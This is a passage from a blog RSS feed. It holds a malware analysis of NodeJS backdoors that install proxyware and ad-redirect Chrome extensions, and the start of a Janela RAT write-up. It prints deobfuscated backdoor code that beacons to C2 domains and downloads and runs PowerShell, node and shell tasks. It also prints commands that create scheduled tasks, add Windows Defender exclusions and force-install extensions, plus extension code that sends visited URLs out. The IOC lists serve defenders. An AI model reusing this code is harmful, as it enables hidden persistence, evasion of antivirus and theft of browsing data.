&lt;Principals&gt;<br>    &lt;Principal id=&quot;Author&quot;&gt;<br>      &lt;LogonType&gt;InteractiveToken&lt;/LogonType&gt;<br>    &lt;/Principal&gt;<br>  &lt;/Principals&gt;<br>  &lt;Settings&gt;<br>    &lt;DisallowStartIfOnBatteries&gt;false&lt;/DisallowStartIfOnBatteries&gt;<br>    &lt;StopIfGoingOnBatteries&gt;false&lt;/StopIfGoingOnBatteries&gt;<br>    &lt;Hidden&gt;true&lt;/Hidden&gt;<br>    &lt;MultipleInstancesPolicy&gt;IgnoreNew&lt;/MultipleInstancesPolicy&gt;<br>    &lt;IdleSettings&gt;<br>      &lt;StopOnIdleEnd&gt;true&lt;/StopOnIdleEnd&gt;<br>      &lt;RestartOnIdle&gt;false&lt;/RestartOnIdle&gt;<br>    &lt;/IdleSettings&gt;<br>  &lt;/Settings&gt;<br>  &lt;Triggers&gt;<br>    &lt;CalendarTrigger&gt;<br>      &lt;StartBoundary&gt;$(Get-Date -Format &quot;yyyy-MM-ddTHH:mm:ss&quot;)&lt;/StartBoundary&gt;<br>      &lt;Repetition&gt;<br>        &lt;Interval&gt;PT1H&lt;/Interval&gt;<br>        &lt;Duration&gt;P1D&lt;/Duration&gt;<br>      &lt;/Repetition&gt;<br>      &lt;ScheduleByDay&gt;<br>        &lt;DaysInterval&gt;1&lt;/DaysInterval&gt;<br>      &lt;/ScheduleByDay&gt;<br>    &lt;/CalendarTrigger&gt;<br>  &lt;/Triggers&gt;<br>  &lt;Actions Context=&quot;Author&quot;&gt;<br>    &lt;Exec&gt;<br>      &lt;Command&gt;&quot;$nodePath\node-v20.8.0-win-x64\node.exe&quot;&lt;/Command&gt;<br>      &lt;Arguments&gt;&quot;$nodePath\node-v20.8.0-win-x64\$filename&quot; 3788&lt;/Arguments&gt;<br>    &lt;/Exec&gt;<br>  &lt;/Actions&gt;<br>&lt;/Task&gt;&quot;@<br>$exeTaskXml | Set-Content -Path &quot;$nodePath\node-v20.8.0-win-x64\t.xml&quot;<br>schtasks /create /tn &quot;Nodejs Update&quot; /xml &quot;$nodePath\node-v20.8.0-win-x64\t.xml&quot; /f<br>Remove-Item -Path &quot;$nodePath\node-v20.8.0-win-x64\t.xml&quot;</pre><p>The downloaded script is a fairly large block of data obfuscated using obfuscator[.]io and be deobfuscated using a deobfuscator[1].</p><p>Script</p><p>The NodeJS code accounts for a variety of operating systems:</p><pre>          var _0xb68c63 = {<br>            &#39;darwin&#39;: &quot;ioreg -rd1 -c IOPlatformExpertDevice&quot;,<br>            &#39;win32&#39;: _0x3aa0d6[&quot;win32&quot; !== process.platform ? &#39;&#39; : &quot;ia32&quot; === process.arch &amp;&amp; process.env.hasOwnProperty(&quot;PROCESSOR_ARCHITEW6432&quot;) ? &quot;mixed&quot; : &quot;native&quot;] + &quot;\\REG.exe QUERY HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Cryptography /v MachineGuid&quot;,<br>            &#39;linux&#39;: &quot;( cat /var/lib/dbus/machine-id /etc/machine-id 2&gt; /dev/null || hostname ) | head -n 1 || :&quot;,<br>            &#39;freebsd&#39;: &quot;kenv -q smbios.system.uuid || sysctl -n kern.hostuuid&quot;<br>          };</pre><p>The script version for this one is set to:</p><pre>2.0.0-js</pre><p>It contains a lot of functionality that we will show across multiple versions but for this one it will send off data to the C2:</p><pre>                          return _0xd7120e(&quot;https://&quot;.concat(_0x5eb0ae, &#39;/d&#39;), {<br>                                &#39;method&#39;: &#39;POST&#39;,<br>                                &#39;body&#39;: JSON.stringify(_0x60c983),<br>                                &#39;headers&#39;: {<br>                                &#39;Content-Type&#39;: &quot;application/json&quot;<br>                                }</pre><p>The data sent off is collected near the C2 list:</p><pre>var _0x60c983 = {<br>    &#39;os_type&#39;: _0x10cdcc.type(),<br>    &#39;os_name&#39;: _0x10cdcc.platform(),<br>    &#39;os_release&#39;: _0x10cdcc.release(),<br>    &#39;os_version&#39;: _0x10cdcc.version(),<br>    &#39;os_hostname&#39;: _0x10cdcc.hostname(),<br>    &#39;os_arch&#39;: _0x10cdcc.arch(),<br>    &#39;machine_id&#39;: _0x4e3c9a(true),<br>    &#39;agent_version&#39;: _0x103b3e,<br>    &#39;session_id&#39;: _0x16c458(16).toString(&quot;hex&quot;)<br>  };<br>  if (process.argv.length &gt; 2) {<br>    _0x60c983.publisher_id = process.argv[2];<br>  }<br>  var _0x2bae0e = function _0x24cdb4() {<br>    var _0x491856 = [&quot;ilesystemwcm.com&quot;, &quot;diskcleanu.com&quot;, &quot;devicesetupx.com&quot;, &quot;maintenancesat.com&quot;].map(function (_0x3b8e21) {<br>      return Buffer.from(_0x3b8e21, &quot;hex&quot;).toString(&#39;utf-8&#39;);<br>    });</pre><p>This data aligns with previous work by AhnLab[2] in which they mention that the response in their case was powershell to be executed. These systems were responsive but potentially had their commands or payloads delayed. A quick pivot in VirusTotal:</p><pre>content:&quot;&#39;agent_version&#39;:&quot; tag:javascript</pre><p>Finds a bunch of samples to go through but one in particular led to a task installer that also installs NodeJS and a script with persistence:</p><p>2e6175681d7b498b6d5a14b09c505f475010ab019098e2f50e565d4f8c45a2cc</p><pre>$installPath = &quot;$env:PROGRAMDATA\Microsoft\Wlansvc\Profiles\Interfaces\{$([guid]::NewGuid())}&quot;<br>$scriptFile = &quot;$installPath\$([guid]::NewGuid())&quot;<br>New-Item -Path $installPath -ItemType Directory -Force<br>$from = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(&quot;aHR0cHM6Ly9rdWNoaWt1LmRpZ2l0YWwvdXBkYXRlcy9LQjgwMTY0NDMy&quot;))</pre><p>The script download location was still alive</p><pre>hxxps://kuchiku[.]digital/updates/KB80164432</pre><p>KB file:</p><p>The below shows how it processes the possible commands before they are then executed using the onboard ShellSession class.</p><pre>                do {<br>                  console.debug(`Using ${t}`);<br>                  console.debug(this.pingBody);<br>                  yield a.HttpRequest.post(`${t}/d`, {<br>                    method: &quot;POST&quot;,<br>                    body: JSON.stringify(this.pingBody),<br>                    headers: {<br>                      &quot;Content-Type&quot;: &quot;application/json&quot;<br>                    }<br>                  }).then(t =&gt; r(this, undefined, undefined, function* () {<br>                    if (t &amp;&amp; Array.isArray(t)) {<br>                      const e = [];<br>                      yield t.reduce((t, o) =&gt; r(this, undefined, undefined, function* () {<br>                        yield t;<br>                        return new Promise((t, s) =&gt; r(this, undefined, undefined, function* () {<br>                          try {<br>                            const r = o.split(&quot;:&quot;);<br>                            0;<br>                            const s = yield a.HttpRequest.downloadFile(r.slice(1).join(&quot;:&quot;), {<br>                              &quot;x-mid&quot;: this.pingBody.machine_id,<br>                              &quot;x-uid&quot;: this.pingBody.machine_uuid<br>                            }, i.extname(r[1]));<br>                            if (s) {<br>                              n.push(s);<br>                            }<br>                            switch (r[0].toLowerCase()) {<br>                              case &quot;node&quot;:<br>                                if (s) {<br>                                  e.push(`&quot;${process.argv[0]}&quot; &quot;${s}&quot;`);<br>                                }<br>                                break;<br>                              case &quot;cmd&quot;:<br>                                if (s) {<br>                                  e.push(`&quot;${s}&quot;`);<br>                                }<br>                                break;<br>                              case &quot;ps1&quot;:<br>                                if (s) {<br>                                  e.push(`powershell.exe -ExecutionPolicy Bypass &quot;${s}&quot;`);<br>                                }<br>                                break;<br>                              case &quot;ow&quot;:<br>                                if (s) {<br>                                  e.push(`copy &quot;${s}&quot; &quot;${__filename}&quot;`);<br>                                }<br>                                break;<br>                              case &quot;sh&quot;:<br>                                if (s) {<br>                                  e.push(`chmod +x &quot;${s}&quot;`);<br>                                  e.push(`&quot;${s}&quot;`);<br>                                }<br>                            }<br>                            t(s);<br>                          } catch (t) {<br>                            console.debug(t);<br>                            yield this.logResult({<br>                              o: &quot;&quot;,<br>                              e: t.toString(),<br>                              ec: undefined,<br>                              s: undefined<br>                            });<br>                            this.cleanupFiles(n);<br>                            process.exit(1);<br>                          }<br>                        }));<br>                      }), Promise.resolve());<br>                      if (0 === e.length) {<br>                        yield this.logResult({<br>                          o: `Got ${e.length} commands.`,<br>                          e: null,<br>                          ec: undefined,<br>                          s: undefined<br>                        });<br>                        process.exit(0);<br>                      }<br>                      const o = new f.ShellSession(s.default.getDefaultShell());<br>                      yield o.exec(e).then(t =&gt; r(this, undefined, undefined, function* () {<br>                        yield this.logResult(t);<br>                        this.cleanupFiles(n);<br>                        process.exit(0);</pre><p>The block of data used for C2 communications is slightly obfuscated but after cleaning it up a bit some of the acronyms make sense:</p><pre>e.rl = e.hexStringToDate = e.randomUUID = e.GLOBALS = e.si = e.rs = e.av = undefined;<br>      e.av = &quot;AGENT_VERSION&quot;;<br>      e.rs = &quot;REMOTE_SERVERS&quot;;<br>      e.si = &quot;session_id&quot;;<br>      e.GLOBALS = {<br>        [e.av]: &quot;0.3.0&quot;,<br>        [e.rs]: () =&gt; &quot;win32&quot; === process.platform ? [&quot;https://kuchiku[.]digital/&quot;, &quot;https://4tressx[.]com/&quot;, &quot;https://rt-guard[.]com/&quot;, &quot;https://screenner[.]com/&quot;] : &quot;darwin&quot; === process.platform ? [&quot;https://coremactools[.]com/&quot;, &quot;https://smoothmacos[.]com/&quot;] : undefined<br>      };</pre><p>The data sent to the C2 is labeled pingBody and will be sent to the /d URI:</p><pre>                    method: &quot;POST&quot;,<br>                    body: JSON.stringify(this.pingBody),<br>                    headers: {<br>                      &quot;Content-Type&quot;: &quot;application/json&quot;<br>                    }</pre><p>The data structure aligns closely with the previous script we looked at:</p><pre>              os_type: o.type(),<br>              os_name: o.platform(),<br>              os_release: o.release(),<br>              os_version: o.version(),<br>              os_hostname: o.hostname(),<br>              os_arch: o.arch(),<br>              machine_id: r.machineIdSync(true),<br>              machine_uuid: s()</pre><p>So I took the data from the previous script and sent it off the C2 to check:</p><pre>% curl -k hxxps://kuchiku[.]digital/d --header &quot;Content-Type: application/json&quot; --user-agent &quot;&quot; -d &#39;{&quot;os_type&quot;:&quot;Windows_NT&quot;,&quot;os_name&quot;:&quot;win32&quot;,&quot;os_release&quot;:&quot;19041&quot;,&quot;os_version&quot;:&quot;Windows 10&quot;,&quot;os_hostname&quot;:&quot;2b9747645336&quot;,&quot;os_arch&quot;:&quot;x64&quot;,&quot;machine_id&quot;:&quot;2dd60d6f-93c8-4495-98f4-5fbba79d7f05&quot;,&quot;agent_version&quot;:&quot;2.0.0-js&quot;,&quot;session_id&quot;:&quot;9d93ab6199d8f67fdf52779f6cd197d9&quot;,&quot;publisher_id&quot;:&quot;2554&quot;}&#39; -v<br>*   Trying 34.236.205.158:443...<br>* Connected to kuchiku.digital (34.236.205.158) port 443 (#0)<br>* ALPN: offers h2<br>* ALPN: offers http/1.1<br>* [CONN-0-0][CF-SSL] (304) (OUT), TLS handshake, Client hello (1):<br>* [CONN-0-0][CF-SSL] (304) (IN), TLS handshake, Server hello (2):<br>* [CONN-0-0][CF-SSL] (304) (IN), TLS handshake, Unknown (8):<br>* [CONN-0-0][CF-SSL] (304) (IN), TLS handshake, Certificate (11):<br>* [CONN-0-0][CF-SSL] (304) (IN), TLS handshake, CERT verify (15):<br>* [CONN-0-0][CF-SSL] (304) (IN), TLS handshake, Finished (20):<br>* [CONN-0-0][CF-SSL] (304) (OUT), TLS handshake, Finished (20):<br>* SSL connection using TLSv1.3 / AEAD-CHACHA20-POLY1305-SHA256<br>* ALPN: server accepted http/1.1<br>* Server certificate:<br>*  subject: CN=kuchiku.digital<br>*  start date: Aug 30 18:44:34 2025 GMT<br>*  expire date: Nov 28 18:44:33 2025 GMT<br>*  issuer: C=US; O=Let&#39;s Encrypt; CN=E7<br>*  SSL certificate verify ok.<br>&gt; POST /d HTTP/1.1<br>&gt; Host: kuchiku.digital<br>&gt; Accept: */*<br>&gt; Content-Type: application/json<br>&gt; Content-Length: 283<br>&gt; <br>* Mark bundle as not supporting multiuse<br>&lt; HTTP/1.1 200 OK<br>&lt; Server: nginx/1.24.0 (Ubuntu)<br>&lt; Date: Wed, 03 Sep 2025 20:38:23 GMT<br>&lt; Content-Type: application/json; charset=utf-8<br>&lt; Content-Length: 51<br>&lt; Connection: keep-alive<br>&lt; X-Powered-By: Express<br>&lt; ETag: W/&quot;33-S7BKtbaJBENNY34GrHXptLBXXqU&quot;<br>&lt; <br>[&quot;ps1:/srentrap/scnj.ps1&quot;,&quot;node:/srentrap/dnfd.js&quot;]% </pre><p>We get back two tasks to run;</p><p>scnj.ps1:</p><pre>$uids = @(&quot;{3BC1471A-748E-48EE-94F3-024920ADA553}&quot;, &quot;{FF820EDB-79A3-49B1-AFA0-7E2CD4090AA1}&quot;, &quot;{D6640E00-FA29-47B7-99A3-3A63DC0A5D0E}&quot;)<br>foreach ($uid in $uids) {<br>    try {<br>        $baseKey = [Microsoft.Win32.RegistryKey]::OpenBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, [Microsoft.Win32.RegistryView]::Registry64)<br>        $subKey = $baseKey.OpenSubKey(&quot;SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$uid&quot;, $true)<br>        if ($subKey) {<br>            $subKey.SetValue(&quot;SystemComponent&quot;, 1, [Microsoft.Win32.RegistryValueKind]::DWord)<br>            $subKey.Close()<br>        }<br>    }<br>    catch {<br>    }<br>}</pre><p>Sets registry values based on the existence of GUIDs that appear to be related to other versions of Node.JS, setting this value will remove the program from the “Add or Remove Programs” list that users see:</p><pre>\cmd.exe /d /s /c &quot;reg.exe add &quot;HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall\{D6640E00-FA29-47B7-99A3-3A63DC0A5D0E}&quot; /v SystemComponent /t REG_DWORD /d 1 /f&quot;</pre><p>The other task:</p><p>dnfd.js will execute a few hardcoded hexlified commands:</p><pre>reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths&quot; /reg:64 /f /v C:\<br>reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet&quot; /reg:64 /f /v SpyNetReporting /t REG_DWORD /d 0<br>reg add &quot;HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet&quot; /reg:64 /f /v SubmitSamplesConsent /t REG_DWORD /d 2</pre><p>Based on the path name of our two tasks ‘srentrap’ we were able to find a few zip and executables that are associated with this on VT and are still live:</p><pre>/srentrap/mmv.zip<br>- 679bc81b6d1a9f8ed8ee44dd9daaef25f7e39d8f<br>Onboard DLL sets up as a proxy for monetization through Honeygain, UDP traffic over port 5001 or uses WSS<br>/srentrap/fm.zip<br>- 0f05930f680fd316a1c10f6ad69dbcddbe4e2dfb<br>Sets up the system to share internet for monetization through earn[.]fm<br>/srentrap/nftc.zip<br>- b5dfa3ea324bcbfb34635507472588083938a5b6<br>Delivers Infatica proxyware P2P monetization<br>/srentrap/odsync.zip<br>- 02f02a2b357912ba1cbffe2968cad9e740a62373<br>Packetlab monetization through sharing the infected systems internet<br>/srentrap/ofts.zip<br>- 1b6d5d58e1d6117ae8481d135a86a4ac33d1103b<br>Packetlab monetization through sharing the infected systems internet</pre><p>At one point in time most of the C2s were returning an interesting message:</p><p><a href="https://www.virustotal.com/gui/file/a50f8028eb53b29ed967d4d1d3b8715fab680ba12a79f297967d8fe93ab92d82/relations">https://www.virustotal.com/gui/file/a50f8028eb53b29ed967d4d1d3b8715fab680ba12a79f297967d8fe93ab92d82/relations</a></p><pre>Welcome to BMY distribution :)</pre><p>While researching this we also stumbled upon a few extensions with code or infrastructure overlap, first was one talking to our kuchiku domain. Implicitly we were looking at this URL:</p><pre> https://kuchiku.digital/locations</pre><p>Extension CRX:</p><pre>ea26469298094c42a06df964190cc8864645adcd72aed6b6207c2a4195133a8b</pre><p>The javascript code adds a listed for onCommitted which according to the developer documentation this will add a listener for when new pages are navigated to:</p><pre>chrome.webNavigation.onCommitted.addListener((onCommittedArgs) =&gt; {<br>    console.log(&#39;onCommitted: &#39; + JSON.stringify(onCommittedArgs));<br>    const { frameType, parentFrameId, url, transitionQualifiers, transitionType } = onCommittedArgs;<br>    if (frameType === &#39;outermost_frame&#39; &amp;&amp; parentFrameId === -1 &amp;&amp; url.match(/https?:\/\//)) {<br>        chrome.storage.local.get([&#39;uuid&#39;])<br>            .then(result =&gt; {<br>                fetch(&#39;https://kuchiku[.]digital/locations&#39;, {<br>                    method: &#39;POST&#39;,<br>                    cache: &#39;no-cache&#39;,<br>                    headers: { &#39;content-type&#39;: &#39;application/json&#39; },<br>                    redirect: &#39;follow&#39;,<br>                    body: JSON.stringify({ url, transitionQualifiers, transitionType, uuid: result.uuid })<br>                })<br>                    .then(response =&gt; response.json())<br>                    .then(async response =&gt; {<br>                        if (!result.uuid &amp;&amp; response &amp;&amp; response.uuid) {<br>                            await chrome.storage.local.set({ uuid: response.uuid });<br>                        }<br>                        if (response &amp;&amp; response.url) {<br>                            chrome.tabs.create({ active: false, url: response.url });<br>                        }<br>                    })<br>                    .catch(console.error)<br>            })<br>    }<br>});</pre><p>The code looks like it sends the URL and some meta data about the transition to the new page and in response can get back a URL from the server that it will open as a new tab in the background:</p><pre>                        if (response &amp;&amp; response.url) {<br>                            chrome.tabs.create({ active: false, url: response.url });<br>                        }</pre><p>Another extension we found based on powershell code overlap involved this file:</p><pre>2603369ff392a3f7ddbb65a7e9635f567a5cfecd44d2d6aad4160ff9e740c1b2</pre><p>This powershell file will download a few files:</p><pre>$dllUrl = &quot;hxxps://d2onbyq1xr6knr.cloudfront[.]net/kbdus.dll&quot;<br>$dllDestination = &quot;C:\Program Files\Google\Chrome\Application\kbdus.dll&quot;<br><br>$genericFileUrl = &quot;hxxps://d2onbyq1xr6knr.cloudfront[.]net/Chrome-Secure-Internet.crx&quot;<br>$genericFileDestination = &quot;C:\ProgramData\Google\Chrome-Secure-Internet\Chrome-Secure-Internet.crx&quot;<br><br>$xmlUrl = &quot;hxxps://d2onbyq1xr6knr.cloudfront[.]net/Chrome-Secure-Internet.xml&quot;<br>$xmlDestination = &quot;C:\ProgramData\Google\Chrome-Secure-Internet\Chrome-Secure-Internet.xml&quot;<br><br>$regUrl = &quot;hxxps://d2onbyq1xr6knr.cloudfront[.]net/c.reg&quot;<br>$tmpFolder = &quot;$env:TEMP\ppaks&quot;<br>$regDestination = Join-Path $tmpFolder &quot;c.reg&quot;</pre><p>The registry file for installing it:</p><pre>[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist]<br>&quot;1&quot;=&quot;modmbbaehigcaoljmcomajoacflgliga;file:///C:/ProgramData/Google/Chrome-Secure-Internet/Chrome-Secure-Internet.xml&quot;</pre><p>Inside the extension the manifest tells us a number of things:</p><pre>    &quot;content_scripts&quot;: [<br>        {<br>            &quot;matches&quot;: [<br>                &quot;&lt;all_urls&gt;&quot;<br>            ],<br>            &quot;all_frames&quot;: false,<br>            &quot;js&quot;: [<br>                &quot;content.js&quot;<br>            ],<br>            &quot;run_at&quot;: &quot;document_start&quot;<br>        },<br>        {<br>            &quot;matches&quot;: [&quot;&lt;all_urls&gt;&quot;],<br>            &quot;all_frames&quot;: false,<br>            &quot;js&quot;: [&quot;i.js&quot;],<br>            &quot;run_at&quot;: &quot;document_idle&quot;<br>        }<br>    ],<br>    &quot;host_permissions&quot;: [<br>        &quot;&lt;all_urls&gt;&quot;<br>    ],<br>    &quot;update_url&quot;: &quot;hxxps://u.chromesecure[.]com/update.xml&quot;<br><br></pre><p>The permissions paint a telling story of injecting scripts in all page loads but the main content I focused on was the content.js file which will download data from the C2 in encrypted format:</p><pre>try {<br>      const _0x34c4ac = await fetch(&quot;hxxps://a.leru[.]info/r&quot;);<br>      if (!_0x34c4ac.ok) {<br>        return;<br>      }<br>      const {<br>        iv: _0x472385,<br>        data: _0x53fdfe<br>      } = await _0x34c4ac.json();<br>      const _0x537c5d = Uint8Array.from(atob(&quot;YWk1UUhYU0VDdWZLejFGNVJxNWxCcmhyU1dKYzRUbWs=&quot;), _0x1bc511 =&gt; _0x1bc511.charCodeAt(0x0));<br>      const _0x1a82dc = Uint8Array.from(atob(_0x472385), _0x2d12aa =&gt; _0x2d12aa.charCodeAt(0x0));<br>      const _0x48bc05 = Uint8Array.from(atob(_0x53fdfe), _0xe182f8 =&gt; _0xe182f8.charCodeAt(0x0));<br>      const _0x599886 = await crypto.subtle.importKey(&#39;raw&#39;, _0x537c5d, {<br>        &#39;name&#39;: &quot;AES-GCM&quot;<br>      }, false, [&quot;decrypt&quot;]);<br>      const _0x1b871d = await crypto.subtle.decrypt({<br>        &#39;name&#39;: &quot;AES-GCM&quot;,<br>        &#39;iv&#39;: _0x1a82dc<br>      }, _0x599886, _0x48bc05);<br>      const _0x437354 = new TextDecoder().decode(_0x1b871d);<br>      const _0x1b532a = JSON.parse(_0x437354);<br>      _0x5a33e4 = _0x1b532a.map((_0x435b91, _0x1ba393) =&gt; ({<br>        &#39;id&#39;: parseInt(_0x435b91.id || _0x1ba393 + 0x1, 0xa),<br>        &#39;domain&#39;: _0x435b91.rule.domain,<br>        &#39;subdomain&#39;: _0x435b91.rule.subdomain || &#39;*&#39;,<br>        &#39;path&#39;: _0x435b91.rule.path || &#39;/*&#39;,<br>        &#39;redirectUrl&#39;: _0x435b91.red<br>      }));</pre><p>Downloading the data:</p><pre>{&quot;iv&quot;: &quot;hvad2gcnxiQOgD4y&quot;, &quot;data&quot;: &quot;s9nER5vDGWZwB8IhH7VSCFryH<br>..snip..</pre><p>We can decrypt it by recreating the functionality in python:</p><pre>&gt;&gt;&gt; data = open(&#39;r.bin&#39;, &#39;r&#39;).read()<br>&gt;&gt;&gt; t = json.loads(data)<br>&gt;&gt;&gt; tt = t[&#39;data&#39;]<br>&gt;&gt;&gt; len(tt)<br>386584<br>&gt;&gt;&gt; blob= base64.b64decode(tt)<br>&gt;&gt;&gt; key = base64.b64decode(&#39;YWk1UUhYU0VDdWZLejFGNVJxNWxCcmhyU1dKYzRUbWs=&#39;)<br>&gt;&gt;&gt; len(&#39;hvad2gcnxiQOgD4y&#39;)<br>16<br>&gt;&gt;&gt; iv = &#39;hvad2gcnxiQOgD4y&#39;<br>&gt;&gt;&gt; iv = base64.b64decode(iv)</pre><p>For Subtle encryption the tag value for GCM is at the end:</p><pre>&gt;&gt;&gt; tag = blob[-16:]<br>&gt;&gt;&gt; tag<br>b&#39;\xd8\x0c=\x96\xb3\x96\xd9\xaf\xa3\xa1y\x0c\xfb\xa0*\xb6&#39;<br>&gt;&gt;&gt; from Crypto.Cipher import AES<br>&gt;&gt;&gt; aes = AES.new(key,AES.MODE_GCM, iv)<br>&gt;&gt;&gt; bbb = aes.decrypt_and_verify(blob[:-16], blob[-16:])<br>&gt;&gt;&gt; bbb[:1000]<br>b&#39;[{&quot;id&quot;: &quot;100578983&quot;, &quot;rule&quot;: {&quot;domain&quot;: &quot;lojaglamourosa.com&quot;, &quot;subdomain&quot;: &quot;www&quot;, &quot;path&quot;: &quot;us/en*&quot;}, &quot;red&quot;: &quot;https://www.cheapworth.com/shopnow.html?q=Lojaglamourosa.com&amp;category=Lojaglamourosa.com#https%3A%2F%2Fus-go.kelkoogroup.net%2FsitesearchGo%3F.ts%3D1756728360817%26.sig%3Da20It02ML6Q9xUBtfoDQbZia0qE-%26affiliationId%3D96981971%26comId%3D100578983%26country%3Dus%26offerId%3Dc82ff61ba23a6afee639ea7a5a0700f9%26searchId%3D107610036717352_1756728360751_29303810%26service%3D36%26tokenId%3D494a19aa-ad6a-43ba-8a04-25f3e581da05%26originReferer%3Dwww.cheapworth.com%26custom1%3D5453eb2f-40ea-4151-a420-a06461e35b7c&quot;}, {&quot;id&quot;: &quot;100578990&quot;, &quot;rule&quot;: {&quot;domain&quot;: &quot;lsbeauty.com&quot;, &quot;subdomain&quot;: &quot;www&quot;, &quot;path&quot;: &quot;/*&quot;}, &quot;red&quot;: &quot;https://www.cheapworth.com/shopnow.html?q=Lsbeauty.com&amp;category=Lsbeauty.com#https%3A%2F%2Fus-go.kelkoogroup.net%2FsitesearchGo%3F.ts%3D1756728361063%26.sig%3DIRkylki8Vem3kFBDybvJQfPwScs-%26affiliationId%3D96981971%26comId%3D100578990%26country%3Dus%26offerId%3Dc9f49c048c5b110774b&#39;</pre><p>Looks like the redirects will be leveraged using the chrome tabs api to set the URL to the redirect URL downloaded:</p><pre>        chrome.tabs.update(_0x502e26.tabId, {<br>          &#39;url&#39;: _0xbd690a.redirectUrl<br>        });</pre><h3>IOCs</h3><p>Network:</p><p>Installer downloads:</p><pre>d18liq5eiez7ig.cloudfront.net/setup.exe<br>d17b7mkheg0tx6.cloudfront.net/FirmwareUpdate.exe<br>d256oosi84syhs.cloudfront.net/BandwidthLatency.exe<br>d3a22fjcbjuz60.cloudfront.net/BandwidthLatency.exe<br>dy1sndygrcwy9.cloudfront.net/setup.exe<br>pub-bfc34934a91a4893817098f73415917a.r2.dev/FirmwareUpdate.exe<br>raw.githubusercontent.com/hobbaboga/foot821/main/NTService.exe<br>raw.githubusercontent.com/pleaser124d/rest22/main/NTService.exe</pre><p>Task downloads:</p><pre>d1urezxtipuk1p.cloudfront.net/nettrace-task-1.0.0.xml</pre><p>Honeygain proxybot:</p><pre>snarpong.com<br>frosping.com<br>glippinger.com<br>gloopong.com<br>flewsnark.com<br>zrawsomble.com</pre><p>PacketSDK:</p><pre>packetsdk.io<br>packetsdk.xyz<br>packetsdk.net</pre><p>Earn fm:</p><pre>socket-backup.earn.fm<br>socket-prod.earn.fm</pre><p>NodeJS backdoor related:</p><pre>leafstacked[.]com<br>protocolstatus[.]com<br>memorydiagnostic[.]com<br>ferntier[.]com<br>a.pairnewtags[.]com<br>sd.unitlibrary[.]com<br>filerit[.]com<br>wqyspjbmkoapqql[.]s3[.]amazonaws[.]com<br>kuchiku[.]digital<br>d14vmbql41e8a5[.]cloudfront[.]net<br>ilesystemwcm[.]com<br>diskcleanu[.]com<br>devicesetupx[.]com<br>maintenancesat[.]com<br>pub-5babe3f305824d778728d1234a41a681[.]r2[.]dev<br>4tressx[.]com<br>rt-guard[.]com<br>screenner[.]com<br>coremactools[.]com<br>smoothmacos[.]com</pre><p>Endpoint</p><pre>\tp.ps1<br>\t.xml<br>\task.xml<br>schtasks.exe &quot;schtasks.exe&quot; /Create /TN &quot;\Microsoft\Windows\NetTrace\RefreshNetworkInfo&quot; /XML &quot;C:\Users\user\AppData\Local\Temp\is-DA0KB.tmp\task.xml&quot; /F</pre><p>Extensions:</p><pre>https://d2onbyq1xr6knr.cloudfront.net/Chrome-Secure-Internet.xml<br>chromesecure.com<br>d.leru.info<br>iejjekcilkagcliegmbjcohgaldckngm<br>modmbbaehigcaoljmcomajoacflgliga<br></pre><p>References:</p><p>1: <a href="https://obf-io.deobfuscate.io/">https://obf-io.deobfuscate.io/</a></p><p>2: <a href="https://asec.ahnlab.com/en/85798/">https://asec.ahnlab.com/en/85798/</a></p><p>3: <a href="https://asec.ahnlab.com/en/89574/">https://asec.ahnlab.com/en/89574/</a></p><p>4: <a href="https://asec.ahnlab.com/en/89574/">https://asec.ahnlab.com/en/89574/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1562917ed107" width="1" height="1" alt=""><hr><p><a href="https://medium.com/walmartglobaltech/nodejs-backdoors-delivering-proxyware-and-monetization-schemes-1562917ed107">NodeJS backdoors delivering proxyware and monetization schemes</a> was originally published in <a href="https://medium.com/walmartglobaltech">Walmart Global Tech Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Janela RAT and a stealer extension delivered together]]></title>
            <link>https://medium.com/walmartglobaltech/janela-rat-and-a-stealer-extension-delivered-together-e274469a7df8?source=rss-36e34fe15919------2</link>
            <guid isPermaLink="false">https://medium.com/p/e274469a7df8</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Jason Reaves]]></dc:creator>
            <pubDate>Tue, 01 Jul 2025 20:04:44 GMT</pubDate>
            <atom:updated>2025-07-01T20:04:44.367Z</atom:updated>
            <content:encoded><![CDATA[<p>By: Jason Reaves</p><p>Janela RAT appears to be a version or variant of BX RAT according to existing reporting, and was also mentioned targeting LATAM by ZScaler[3]. While doing some recent investigations into campaigns we stumbled on a campaign ending in the delivery of Janela along with a browser extension designed for stealing data and utilizing multiple files from various GitLab accounts.</p><p>MSI deliveries from gitlab accounts:</p><pre>https://gitlab.com/mariogadu896/a5da3e9493a2b6993af982874c4a53f5/-/raw/main/_61b10e601b06.msi</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9Djp7CsHGNvVU-I1XLZdGQ.png" /></figure><p>Others:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LpvxWQnHwCuMIk9q6NuwOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rl0-h7IRWCMSTX2-NIR-dQ.png" /></figure><p>installer:</p><pre>907cff1b76b2e2e44fa6bb41e6b0502733592fee7c18bb9873b9ae2b88bf941c</pre><p>Inside the installer is a number of files:</p><pre><br>   Date      Time    Attr         Size   Compressed  Name<br>------------------- ----- ------------ ------------  ------------------------<br>2025-06-12 20:58:46 ....A         8623               F_bbdbce168f31<br>2025-06-12 20:58:46 ....A      1578248               F_3bdda10aab90<br>2025-06-12 20:58:46 ....A          109               F_e69ef3b45260<br>2025-06-12 20:58:46 ....A          715               F_dfb49ddcd9b6<br>------------------- ----- ------------ ------------  ------------------------<br>2025-06-12 20:58:46            1587695      1622016  4 files</pre><p>The files include a zip file and a number of scripts:</p><pre>F_3bdda10aab90: Zip archive data, at least v2.0 to extract, compression method=deflate<br>F_bbdbce168f31: Unicode text, 